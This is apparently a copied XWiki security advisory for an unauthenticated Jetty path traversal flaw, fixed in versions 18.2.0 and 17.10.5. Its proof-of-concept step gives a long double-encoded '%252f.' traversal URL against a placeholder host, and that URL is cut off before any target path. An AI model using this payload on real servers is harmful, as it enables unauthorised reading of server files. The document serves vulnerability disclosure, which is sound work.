XWiki 12 Jetty Path Traversal Vulnerability Report

XWiki Security Vulnerability Report: Path Traversal in Jetty in XWiki 12 Vulnerability Overview Type: Bug (Security Vulnerability) Priority: Blocker Status: Closed CVSS Score: 8.2 Description: An unauthenticated path traversal vulnerability was identified in the XWiki platform. Scope of Impact Affected Version: 17.10.2 Component: Actions Tags: attack, dualrole, attach_view, security Environment: - XWiki Version: 17.10.2 - Jetty Version: 12.1.5 Fix Details Fixed in Versions: 18.2.0, 17.10.5 Resolution Status: Fixed POC Steps 1. Access URL: ``` http://pod/xwiki/xwiki!%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f.%252f

Goal Reached Thanks to every supporter — we hit 100%!

XWiki 12 Jetty Path Traversal Vulnerability Report

More from this source